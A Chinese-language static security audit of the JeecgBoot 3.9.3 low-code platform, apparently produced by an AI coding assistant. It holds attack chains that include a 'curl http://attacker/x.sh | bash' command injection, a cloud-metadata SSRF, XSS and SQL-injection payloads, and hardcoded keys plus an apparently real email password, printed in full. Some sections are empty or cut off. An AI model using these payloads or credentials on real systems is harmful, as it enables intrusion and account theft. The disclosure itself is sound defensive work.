JeecgBoot 安全审计报告
1. 审计概览
| 项 |
内容 |
| 审计对象 |
JeecgBoot 3.9.3(AI 低代码平台,前后端分离) |
| 后端 |
jeecg-boot/(Spring Boot 4.1.0 / Java 17 / Shiro 3.0.0 / fastjson 2.0.58 / Druid 1.2.28 / JimuReport 2.5.0) |
| 前端 |
jeecgboot-vue3/(Vue3 + Ant Design + Vite) |
| 审计范围 |
当前 checkout(base-core / system / airag / demo / server-cloud 配置);不含 jeecg-boot-platform(online 在线表单 / JimuReport 报表 / 流程引擎 / 大屏)核心库源码,该部分以依赖 jar 集成 |
| 审计方法 |
静态代码审计 + 危险模式搜索 + 数据流追踪,按漏洞类型分 6 路并行 |
| 结论 |
高危 21 项 / 中危 25 项 / 低危 14 项(详见下) |
重点风险面:AI 模块(MCP stdio RCE、聊天接口未授权 SSRF、SVG 存储型 XSS)、开放平台(OpenAPI SSRF、签名密钥硬编码)、监控端点(Actuator 泄露 Token、Druid 弱口令)、以及一套贯穿前后端「同一把钥匙」的硬编码密钥体系。
2. 漏洞统计总表
| 严重度 |
数量 |
类别分布 |
| 🔴 高危 |
21 |
RCE×1、SSRF×3、存储型XSS×5、未授权/越权×7、硬编码凭据×6 |
| 🟠 中危 |
25 |
未授权×6、越权×3、SSRF/文件×4、XSS×6、硬编码×6、SQL注入×2 |
| 🟡 低危 |
14 |
信息泄露×4、XSS/重定向×4、默认凭据×6 |
3. 🔴 高危漏洞
3.1 RCE — MCP stdio 端点命令注入(保存即执行)
- 位置:
jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/llm/service/impl/AiragMcpServiceImpl.java:156-187
- 代码:
} else if ("stdio".equalsIgnoreCase(type)) {
String openSafe = aiRagConfigBean.getAllowSensitiveNodes();
if(oConvertUtils.isNotEmpty(openSafe) && openSafe.toLowerCase().contains("stdio")) {
...
cmdParts.add("sh"); cmdParts.add("-c"); cmdParts.add(endpoint.trim());
StdioMcpTransport.Builder builder = new StdioMcpTransport.Builder()
.command(cmdParts).environment(headers);
endpoint 来自 AiragMcp 实体,保存接口 /airag/airagMcp/save、/saveAndSync 仅做非空校验,无任何命令注入过滤。
- 攻击链:拥有
airag:mcp:save 权限的账号 POST /airag/airagMcp/saveAndSync,{"type":"stdio","endpoint":"curl http://attacker/x.sh | bash"} → 触发 sh -c "curl ... | bash",获取服务器 shell。
- 前提:
jeecg.airag.allow-sensitive-nodes 含 stdio(默认空,需人工开启)。
- 修复建议:对
endpoint 做白名单校验(仅允许可执行文件路径,禁止管道/重定向/;);移除 sh -c 拼接,改用参数数组;allow-sensitive-nodes 默认保持关闭并限制仅超级管理员可配。
3.2 SSRF — AI 聊天接口未认证任意 URL 请求
3.3 SSRF — OpenAPI X-Gateway-Base-Path 请求头拼接绕过(免登录)
- 位置:
OpenApiController.java:195,226 + CommonUtils.java:369-373
- 代码:
// CommonUtils.getBaseUrl —— 请求头原样返回
String xGatewayBasePath = request.getHeader(ServiceNameConstants.X_GATEWAY_BASE_PATH);
if(oConvertUtils.isNotEmpty(xGatewayBasePath)){ return xGatewayBasePath; }
// OpenApiController.call —— 免登录(Shiro anon)
if (!lowerUrl.startsWith("http://") && !lowerUrl.startsWith("https://")) {
url = CommonUtils.getBaseUrl(request) + url;
}
restTemplate.exchange(targetUrl.toString(), ..., httpEntity, Result.class, ...);
- 攻击链:持有有效
appkey,调用 /openapi/call/{path}(anon),配置的 originUrl 为相对路径时注入请求头 X-Gateway-Base-Path: http://169.254.169.254/ → 拼接出 http://169.254.169.254//house/list 绕过校验 → 服务端请求云元数据/内网资产。
- 修复建议:对
getBaseUrl 拼接出的完整 URL 统一过 SSRF 校验;限制 X-Gateway-Base-Path 仅信任内部网关来源。
3.4 存储型 XSS — 未认证上传 SVG + 内联静态服务执行
3.5 未授权/越权 — Actuator 追踪端点泄露全量用户 Token
- 位置:
CustomHttpTraceEndpoint.java:20-33 + application-*.yml(management.endpoints.web.exposure.include: metrics,httpexchanges,jeecghttptrace)
- 代码:
@Component @Endpoint(id = "jeecghttptrace")
public class CustomHttpTraceEndpoint {
@ReadOperation
public HttpTraceDescriptor traces(@Selector(match = ALL_REMAINING) String query) {
return new HttpTraceDescriptor(this.repository.findAll(query));
}
}
内存保存最近约 100 条请求的完整 HttpExchange(含请求头),Shiro 未放行 /actuator/**,故任意已登录用户(无需任何角色)可访问。
- 攻击链:普通低权用户
GET /actuator/jeecghttptrace(或 /httpexchanges)→ 响应含其他用户请求头 X-Access-Token 明文 → 盗取任意在线用户(含 admin)JWT → 完全接管。
- 修复建议:移除
httpexchanges/jeecghttptrace 端点暴露或限制仅 admin 角色;对 actuator 加 @RequiresRoles("admin")。
3.6 未授权 — /airag/chat/send 无认证 + 资源滥用
- 位置:
AiragChatController.java:55-59,注释自认:「/airag/chat/send 端点为 @IgnoreAuth 无认证,AI 聊天解析附件存在 SSRF 风险」。
- 影响:未登录即可消耗大模型 API 配额、触发附件下载 SSRF、遍历对话。
- 修复建议:移除
@IgnoreAuth,要求登录;对附件解析增加 SSRF 校验。
3.7 未授权 — Druid 监控台 anon + 默认口令
- 位置:
ShiroConfig.java:133 + application-prod.yml:105-109(dev/docker/dm8/kingbase8/oracle 全相同)
- 配置:
filterChainDefinitionMap.put("/druid/**", "anon");loginUsername: admin / loginPassword: 123456,allow 为空(不限 IP)。
- 攻击链:未登录访问
/jeecg-boot/druid/ → admin/123456 登录 → 查看全部数据源连接、SQL 监控(含业务参数)、Session 监控。Druid 1.2.x 历史存在监控台信息泄露辅助 RCE 的 CVE。
- 修复建议:
/druid/** 移出 anon;改强口令;生产环境关闭 stat-view-servlet。
3.8 未授权面 — /jmreport/** 全量放行(需复核依赖库)
- 位置:
ShiroConfig.java:142
- 说明:
/jmreport/** 整段 anon,鉴权依赖 JimuReport 库内部 JimuReportTokenService.verifyToken(JimuReportTokenService.java:64)。JimuReport 历史 CVE 频发(CVE-2023-24770/24771 等 SQL 注入/RCE)。本 checkout 不含报表模块源码,需人工确认 2.5.0 集成鉴权与漏洞修复状态。
- 建议:路由级白名单校验 + 确认依赖版本安全;禁止生产暴露
bigscreen 类无鉴权路由。
3.9 SQL 注入/越权 — 表字典接口任意表数据读取
- 位置:
SystemApiController.java:746-748 + SysDictServiceImpl.java:270-292 + DictTableWhiteListHandlerImpl.java:157-166 + application-dev.yml:265
- 代码:
// SysDictMapper.xml —— ${} 拼接
select ${text} as "text", ${code} as "value" from ${table} where ${filterSql}
// SysDictServiceImpl —— 白名单正则 + dev 模式自动放行
table = SqlInjectionUtil.getSqlInjectTableName(table);
...
return sysDictMapper.queryTableDictWithFilter(table,text,code,filterSql);
// DictTableWhiteListHandlerImpl —— dev 模式未登记表自动写入白名单并放行
- 攻击链:任意登录用户(低权)携带 JWT + 硬编码密钥伪造 X-Sign →
GET /sys/api/queryFilterTableDictInfo?table=sys_user&text=username&code=realname&filterSql=1=1 → 批量导出 sys_user 全部用户名/手机号/邮箱/工号;dev 模式下任意表同样成立(sys_user.password/salt 被单独拉黑,其余不保护)。
- 修复建议:生产环境禁止
lowCodeMode: dev;白名单不自动放行,未登记表拒绝;该接口限制管理员权限;立即轮换签名密钥。
3.10 硬编码 — 登录密码 AES 密钥/IV
- 位置:
EncryptedString.java:16,21 + jeecgboot-vue3/src/utils/cipher.ts:64-65
- 内容:
key = "1234567890adbcde"、iv = "1234567890hjlkew"(前后端同值)。
- 影响:登录密码 AES/CBC 加密密钥完全公开,抓包(无 HTTPS 或 MITM)即可解密所有登录密码明文。
- 修复建议:改用 RSA 非对称或服务端下发临时密钥;前端不再内置对称密钥。
3.11 硬编码 — MD5 请求签名密钥(全环境同一把钥匙)
- 位置:
jeecgboot-vue3/src/utils/encryption/signMd5Utils.js:3 + application-prod.yml:262 + application-dev.yml:269 + application-docker.yml:258 + Nacos jeecg-dev.yaml:71、jeecg-dev-satoken.yaml:96
- 内容:
signatureSecret = 'dd05f1c54d63749eda95f9fa6d49v442a'。
- 影响:全站请求签名(SignUtil)密钥公开,任何人可伪造签名、重放/篡改加签接口(短信、开放 API、表字典接口等)。放大 3.9 等签名保护接口的攻击面。
- 修复建议:密钥移入环境变量/密钥管理,各环境独立;部署后立即轮换。
3.12 硬编码 — Sa-Token JWT 签名密钥(与签名密钥同值)
- 位置:
jeecg-server-cloud/jeecg-cloud-nacos/docs/DEFAULT_GROUP/jeecg-dev-satoken.yaml:24
- 内容:
jwt-secret-key: "dd05f1c54d63749eda95f9fa6d49v442a"(与 MD5 签名密钥完全相同)。
- 影响:JWT 密钥公开 → 直接伪造任意用户 Token 越权登录,微服务全站鉴权失效。
- 修复建议:更换独立强随机密钥并纳入密钥管理。
3.13 硬编码 — Nacos 认证关闭 + 固定密钥
- 位置:
jeecg-cloud-nacos/src/main/resources/application.properties:41-45
- 内容:
nacos.core.auth.enabled=false;identity.key=value=nacos;token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=(base64 = ThisIsMyCustomSecretKey012345678)。
- 影响:Nacos 控制台未授权可访问,篡改所有微服务配置 → 配置注入/RCE/数据窃取。
- 修复建议:开启认证,更换强密钥,限制管理端口暴露。
3.14 硬编码 — 生产数据库 root 明文口令
- 位置:
application-prod.yml:145
- 内容:MySQL
password: root(生产 profile)。
- 影响:配置泄露即数据库沦陷,可拖全库、写库。
- 修复建议:改用外部密钥注入(K8s Secret / Vault),立即轮换。
3.15 硬编码 — 真实企业邮箱账号口令
- 位置:
jeecg-cloud-xxljob/src/main/resources/application.properties:50-52
- 内容:
spring.mail.username=zhuwei@aboatedu.com / spring.mail.password=zwass1314。
- 影响:真实邮箱账号密码泄露,可被用于盗号、钓鱼、外发垃圾邮件。
- 修复建议:轮换口令,移入密钥管理;该配置不应出现在公共仓库。
3.16-3.21 存储型 XSS(高危 6 处)
| # |
位置 |
漏洞点 |
攻击链 |
| 3.16 |
views/system/message/components/SysMessageList.vue:28 |
v-html="getHtml(item.msgContent)",getHtml 仅 emoji 替换无过滤 |
任意用户在 Online/表单设计器数据上发评论 @target <img src=x onerror=...> → SysCommentServiceImpl.saveOne 原样入消息库 → 被@用户在消息列表 v-html 执行(存储型,持久化) |
| 3.17 |
SysMessageList.vue:42 |
bpm 催办/抄送/任务消息 v-html="item.msgContent" |
流程消息含用户表单字段值 → 渲染即执行 |
| 3.18 |
OnlineAutoList.vue:137 及 8 个 cgform 列表(OnlineAutoTreeList.vue:125 / OnlCgformTabList.vue:122 / OnlCgformInnerTableList.vue:138 / OnlCgformInnerSubTable.vue:37 / OnlCgformErpList.vue:124 / OnlCgformErpSubTable.vue:114 / OnlinePopListModal.vue:37 / LinkTableListModal.vue:36) |
htmlSlot 富文本列 v-html="text" |
任意登录用户在低代码表单提交 onerror payload → 列表页渲染执行 |
| 3.19 |
DetailForm.vue:11,12 |
v-html 渲染 isHtml 及 textarea 字段,textareaLineBreak 不转义 HTML |
textarea 是最常见字段,提交 <svg/onload> 详情页执行 |
| 3.20 |
chatText.vue:4,84-95 / ThinkText.vue:4,29-30 / AiWriter.vue:64,115 |
markdown-it {html:true} + v-html |
知识库文档(用户可传)或 prompt 注入使模型输出含 HTML → 登录用户会话上下文被窃取 |
| 3.21 |
AiAppSendModal.vue:132 + jeecg-tags/index.ts:53 |
box.innerHTML = content |
同 chatText 源,<jeecg> 标签分支执行 |
4. 🟠 中危漏洞
4.1 命令执行(已缓解但机制仍在)
- RCE 面:
CommandExecUtil.java:80-132 + EmbeddingHandler.java:880-940 — 知识库文档解析调用 conda run -n ... magic-pdf。已加黑名单 [&|;<>$!"'\r\n] + 路径校验缓解(issue 9424/9425),但 execCommand(String command, String[] args) 重载 command.split(" ") 后不校验 command 数组元素,未来用户输入进入 command 即注入。建议:白名单化 + 消除 split(" ") 重载。
4.2 SSTI 面(FreeMarker)
SysBaseApiImpl.java:1720 / PushMsgUtil.java:58 / FreemarkerParseFactory.java:125-148 — 消息模板/SQL 模板 DB 内容 FreeMarker 渲染。已配 TemplateClassResolver.SAFER_RESOLVER 缓解,但 PushMsgUtil 用 Spring 默认 freemarkerConfig 未确认。建议:确认所有渲染点统一 SAFER_RESOLVER;模板管理接口限管理员。
4.3 反序列化面(Shiro + Redis)
ShiroConfig.java:305-314 — 使用 org.crazycake.shiro RedisCacheManager,默认 JDK 序列化。若 Redis 未授权/可写(见 4.19 弱口令),可在 shiro:cache:* 植入反序列化 gadget。建议:Redis 强口令 + 网络隔离 + 换 JSON 序列化器。
4.4 SQL 注入 — QueryGenerator.installAuthJdbc 数据规则拼接未过滤
- 位置:
QueryGenerator.java:951 — sb.append(sqlAnd + getSqlRuleValue(...))。同类 installAuthMplus/installMplus 已加 filterContent(#9434 修复),唯独 installAuthJdbc 遗漏。
- 攻击链:
JeecgDemoController:289 /sqlList → 数据规则类型为「自定义 SQL」时规则值原样拼接(SqlConcatUtil.getFieldConditionValue 对字符串只包单引号不转义)。需能控制数据规则配置。
- 建议:补齐
filterContent 过滤,统一三处实现。
4.5 SQL 注入面 — filterSql 仅黑名单过滤
- 位置:
SysDictServiceImpl.java:276 → SysDictMapper.xml:187/208 — where ${filterSql},filterSql 前端直传仅过 specialDictSqlXssStr 黑名单。黑名单不覆盖 or/sleep(/1=1 等,isExistSqlInjectKeyword 存在 keyword( 形式与空白字符替换的绕过。当前被 select/;/--/extractvalue 拦截限制在 WHERE 内,属弱防护。
- 建议:改为参数化/白名单解析器,禁止透传原始 SQL 片段。
4.6 未授权 — AI 会话/应用元数据枚举
AiragChatController.java:88-118:/airag/chat/init、/conversations、/getConversationsByType 全 @IgnoreAuth,可枚举对话标题/应用元数据(模型供应商、流程输入参数)。
4.7 未授权 — /airag/app/queryById
AiragAppController.java:169-171:@IgnoreAuth GET /airag/app/queryById?id=任意 → 返回 AI 应用完整配置(system prompt、知识库 ID、插件、模型配置),可用于 prompt 注入/知识库越权利用。
4.8 未授权文件读取 — /sys/common/static/**
CommonController.java:188-232:/sys/common/static/** anon,imgPath = imgPath.replace("..","")(弱过滤,....///编码变体可绕)+ 扩展名白名单 → 可越权读取服务器上任意白名单扩展名(txt/doc/pdf/csv/zip/xls/xlsx/jpg/png/md/sql)文件,包括其他用户上传的私密资料。
4.9 信息泄露 — Swagger/Knife4j 全放行
ShiroConfig.java:116,134-137:/doc.html、/swagger-ui.html、/swagger**/**、/v3/** 全 anon。prod 有 basic 认证 jeecg/jeecg1314(弱口令),dev 完全开放 → 全量接口清单/字段泄露。
4.10 越权 — SysUser 系列接口枚举全平台用户 PII
SysUserController.java:queryByIds:626、queryByNames:643、queryByOrgCode:939、queryByOrgCodeForAddressList:954、queryDepartPostByOrgCode:999、getUserDetailByUserId:1030、getMultiUser:1771、getUserInformation:1790、selectUserList:1814 等,均无 @RequiresPermissions,任意有效 JWT 可遍历 userId/orgCode/username 枚举全平台用户手机号、邮箱、姓名、组织架构 → 钓鱼/社工/撞库。
4.11 越权 — /openapi/call/** 明文 appkey 代答身份
OpenApiController.java:157-226:/openapi/call/** anon,appkey 明文 header(无签名校验),以 API 创建者身份自动签发 60s JWT 并代理请求任意已配置 originUrl → appkey 泄露/爆破即冒用他人身份调用业务接口。
4.12 未授权 — 匿名注册/改密
ShiroConfig.java:98,100 + SysUserController.java:1171,1339:/sys/user/register(无次数限制验证码 → 短信轰炸 + 用户名/手机号/邮箱用户枚举)、/sys/user/passwordChange(GET 参数改密,验证码强度决定安全性)。
4.13 SSRF — 内网段放行 + DNS rebinding
SsrfFileTypeFilter.java:322-353:checkSsrfHttpUrl 明确放行 RFC1918(10.x/172.16-31.x/192.168.x)「兼容企业内网 MinIO/OSS」→ 所有经该校验的下载/抓取汇聚点仍可打内网;校验与连接二次解析 IP 存在 DNS rebinding TOCTOU,可绕过回环拦截。
4.14 文件上传 — 无类型过滤(MinIO/OSS)
MinioUtil.java:208-224、OssFileServiceImpl.java:24-36:/sys/oss/file/upload 无类型白名单/魔数校验,可上传 .html/.jsp/.svg 任意类型到对象存储,桶公开读时构成存储型攻击面。
4.15-4.20 XSS(中危 6 处)
| # |
位置 |
漏洞点 |
说明 |
| 4.15 |
hooks/web/useMessage.ts:57 |
h('div', {'innerHTML': content}) |
所有字符串型 createMessage/modal 按 HTML 渲染,后端 res.message 反射用户输入即执行(放大面广) |
| 4.16 |
components/Markdown/src/MarkdownViewer.vue:4,22 |
showdown 默认允许原始 HTML |
AI 知识库 chunk / markdown 字段渲染(未实测默认行为,建议显式过滤) |
| 4.17 |
CommentList.vue:45 + MyComment.vue:4 |
v-html="getHtml(lineFeed(commentContent))" |
评论内容未过滤即渲染(与 3.16 同源) |
| 4.18 |
AiModelModal.vue:80,516-521 |
v-html="getTitle(descr)",换行替换不转义 |
模型描述 descr 可编辑则存储型 XSS |
| 4.19 |
NoticeForm.vue:8 + 后端 XssUtils.java:40-69 |
v-html 富文本预览;XssUtils 正则可绕过 |
XssUtils 白名单 \s+on\w+ 要求 on 前有空白符,<svg/onload> 不匹配;仅通知公告保存路径启用,cgform/comment/消息均无服务端过滤 |
| 4.20 |
JeecgController.java:52-190(exportXls) |
AutoPoi 导出未做公式中和 |
用户提交 `=cmd |
4.21-4.25 硬编码凭据(中危 5 处)
| # |
位置 |
内容 |
影响 |
| 4.21 |
PasswordUtil.java:26,32 |
PBEWithMD5AndDES + 固定盐 63293188 |
数据库泄露后离线低成本爆破全部用户密码哈希;同盐同密码同密文 |
| 4.22 |
jeecgboot-vue3/src/settings/encryptionSetting.ts:8-9 |
缓存 AES key:_11111000001111@ / iv:@11111000001111_ |
localStorage 加密形同虚设(默认关闭但开启即失效) |
| 4.23 |
各 yml |
Knife4j jeecg/jeecg1314(含生产);Druid admin/123456(含生产);Spring Boot Admin admin/admin;Sentinel sentinel/sentinel |
各管理控制台弱口令 |
| 4.24 |
application.yml:63(airag)、EmbedStoreConfigBean.java:40 |
Redis res983;向量库默认口令 postgres;多处 DB root/123456/postgres(dev/docker/nacos/sharding) |
组件弱口令,扩大攻击面 |
| 4.25 |
jeecg-cloud-xxljob/application.properties:78 |
xxl-sso.token.key=xxl_job_login_token |
调度中心会话 token 密钥固定,可伪造 |
5. 🟡 低危漏洞
| # |
位置 |
说明 |
| 5.1 |
VideoGenerationServiceImpl.java:479-487 |
downloadFile(url) 无 SSRF 校验,URL 来自 AI 厂商返回(间接风险) |
| 5.2 |
SysCommentServiceImpl.java:212,224 |
savePath 参数无校验直接入库 sys_files.url(存储参数污染) |
| 5.3 |
SysDictController.java:814-823 |
SQL 异常处理器仅屏蔽 extractvalue/updatexml,其余原始 SQL 错误回显(错误型注入放大器) |
| 5.4 |
QueryGenerator.java:275,304 |
字典排序 lastIndexOf 用请求参数 column 而非处理后的 columnName,稳定触发 500(逻辑 bug) |
| 5.5 |
LoginController.java:919-923 |
loginGetUserDeparts @IgnoreAuth,可校验用户名+密码有效性 → 用户枚举/登录辅助面 |
| 5.6 |
McpDemoController.java:81,123 |
/demo/mcp/sse @IgnoreAuth 未授权 SSE 长连接(资源占用/DoS 面) |
| 5.7 |
SysDictController.java:377,562 |
queryTableData(Deprecated)/refleshCache 无权限注解,任意登录用户可动态表查询/清字典缓存(小 DoS) |
| 5.8 |
JPrompt.vue:6 / workbench/DynamicInfo.vue:14 |
v-html 目前仅静态内容(低风险面) |
| 5.9 |
monitor/mynews/DetailModal.vue:36,104 |
消息详情有 xss() 白名单缓解,但白名单含 img src/style,需确认无 javascript: 注入 |
| 5.10 |
store/modules/user.ts:202-208 |
登录后 redirect query 拼进 window.open(Open Redirect,受 base 前缀约束) |
| 5.11 |
db/jeecgboot-mysql-5.7.sql:10401 |
初始管理员 admin/123456(PBE 存储);LoginForm.vue:123-124 登录页预填 admin/123456;PasswordConstant.java:14 DEFAULT_PASSWORD=123456;ImportOldUserUtil/ThirdAppWechatEnterprise/SysThirdAccount 多处 setPassword("123456");tables_xxl_job.sql:207 xxl-job 管理员 SHA256(123456) |
6. 依赖 / 组件审计
| 组件 |
版本 |
结论 |
| Spring Boot |
4.1.0 |
✅ 较新,无已知高危 CVE(当前) |
| Apache Shiro |
3.0.0 |
✅ 新版,规避 1.x 认证绕过系列 CVE |
| fastjson2 |
2.0.58 |
✅ 审计确认全库安全用法(无 autoType/用户可控 Class) |
| Druid |
1.2.28 |
⚠️ 版本较新,但监控台弱口令 + anon 放大信息泄露(见 3.7) |
| JimuReport |
2.5.0 |
⚠️ 历史高危 CVE 大户(SQL 注入/RCE/任意文件读取/未授权),/jmreport/** 全 anon,集成源码不在本 checkout,必须人工复核 |
| JimuBI |
2.5.0 |
⚠️ 大屏设计工具,/bigscreen/** 等路径被放行,需复核鉴权 |
| Spring Cloud Alibaba / Nacos |
2025.1.0.0 |
⚠️ Nacos 认证默认关闭 + 固定密钥(见 3.13) |
| mysql-connector-java |
8.0.27 |
⚠️ 版本偏老,建议升级 8.0.33+(历史存在部分安全问题) |
7. 关键结论与修复优先级
7.1 平台级核心问题:「同一把钥匙」硬编码体系
AES 密钥(1234567890adbcde)、MD5 请求签名密钥(dd05f1c54d63749eda95f9fa6d49v442a)、Sa-Token JWT 密钥(与签名密钥同值)全部硬编码于源码 + 前后端配置。密钥一旦公开:登录密码可解密、接口签名可伪造、Token 可仿冒,信任链整体失效。Nacos 认证关闭进一步放大微服务配置篡改风险。
处理:所有密钥移入环境变量/密钥管理服务,各环境独立随机生成,部署后立即全量轮换。
7.2 优先修复清单(按 ROI 排序)
- 轮换/外置全部硬编码密钥(3.10-3.15)——成本低收益最高,一次性解决越权访问放大器
- Actuator 追踪端点收敛(3.5)——去掉 httpexchanges/jeecghttptrace 暴露或限 admin
- AI 模块收敛
@IgnoreAuth(3.2/3.6/4.6/4.7)——chat/send、init、conversations、queryById 至少要求登录
- MCP stdio endpoint 白名单校验(3.1)
- SVG 移出上传白名单 + 静态资源内联限制(3.4)
/druid/**、/jmreport/** 路由级鉴权 + 强口令(3.7/3.8)
- 表字典接口去 dev 自动放行 + 权限收紧(3.9)
- OpenAPI 拼接 URL 过 SSRF 校验(3.3)
- 前端
v-html 全量走 DOMPurify;textarea 先 escape 再渲染;markdown-it 关 html 或过滤(3.16-3.21/4.15-4.19)
- 补齐
installAuthJdbc 注入过滤(4.4)
7.3 补充建议
- 生产环境显式
lowCodeMode: prod,禁用 Druid/Knife4j 弱口令默认值。
- 全局默认密码策略强制首次改密,移除登录页预填 admin/123456。
- 静态资源服务启用
Content-Disposition: attachment 白名单。
sys_user 及业务敏感表在字典白名单外额外加列级黑名单。
- 启用 Nacos 认证、Redis 强口令、内网服务最小暴露。
8. 已核查为安全的项(排除清单)
- SysDictMapper.xml 全部
${} 表字典方法:均有 getSqlInjectTableName/getSqlInjectField 正则白名单 + specialFilterContentForDictSql 黑名单 + 表/列黑白名单双重保险。
- QueryGenerator 排序字段:
sortInfoString/defSortString/单字段排序均经 getSqlInjectSortField/allColumnExist 白名单。
- LoginController:全部
LambdaQueryWrapper.eq(...) 参数化绑定。
- 全库无
@Select/@Update/@Delete/@Insert 注解式 ${};无 Statement.createStatement 手工拼接;JdbcTemplate/DynamicDBUtil 无外部调用方(在线报表模块不在本检出)。
- fastjson:全库安全用法,无 autoType,无用户可控 Class 反序列化。
- 无
ObjectInputStream.readObject/Hessian/SnakeYAML/XMLDecoder/GroovyShell/ScriptEngine/SpEL/OGNL 反序列化或表达式执行 sink。
9. 审计限制说明
- 本审计为静态代码审计,未做动态验证;「高危」指数据流可控且 sink 存在,实际可利用性取决于部署配置与权限分配。
- 未覆盖
jeecg-boot-platform(在线表单 / JimuReport 报表 / 流程引擎 / 大屏 / 移动端)源码——该部分以依赖 jar 集成,历史上存在大量公开漏洞,强烈建议对集成方式与版本单独审计。
jeecg-server-cloud 微服务模块部分仅审计了配置(Nacos/Sentinel/Monitor/xxljob),业务代码以 starter 依赖集成,未逐一审。
报告由 Claude Code 审计助手生成,基于 JeecgBoot 3.9.3 本地 checkout,2026-08-15。